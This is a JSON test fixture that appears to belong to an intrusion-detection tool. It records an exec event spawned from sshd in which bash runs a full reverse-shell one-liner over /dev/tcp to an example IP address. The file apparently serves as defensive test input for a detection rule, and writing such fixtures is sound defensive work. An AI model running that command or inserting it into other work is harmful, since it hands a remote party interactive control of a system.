enodia-sentinal/tests/fixtures/sids/100002-reverse-shell-argv.json
2026-07-08 17:05:17 -07:00

9 lines
186 B
JSON

{
"event": "exec",
"pid": 4243,
"ppid": 4100,
"uid": 1000,
"parent_comm": "sshd",
"filename": "/usr/bin/bash",
"argv": ["-c", "bash -i >& /dev/tcp/203.0.113.7/443 0>&1"]
}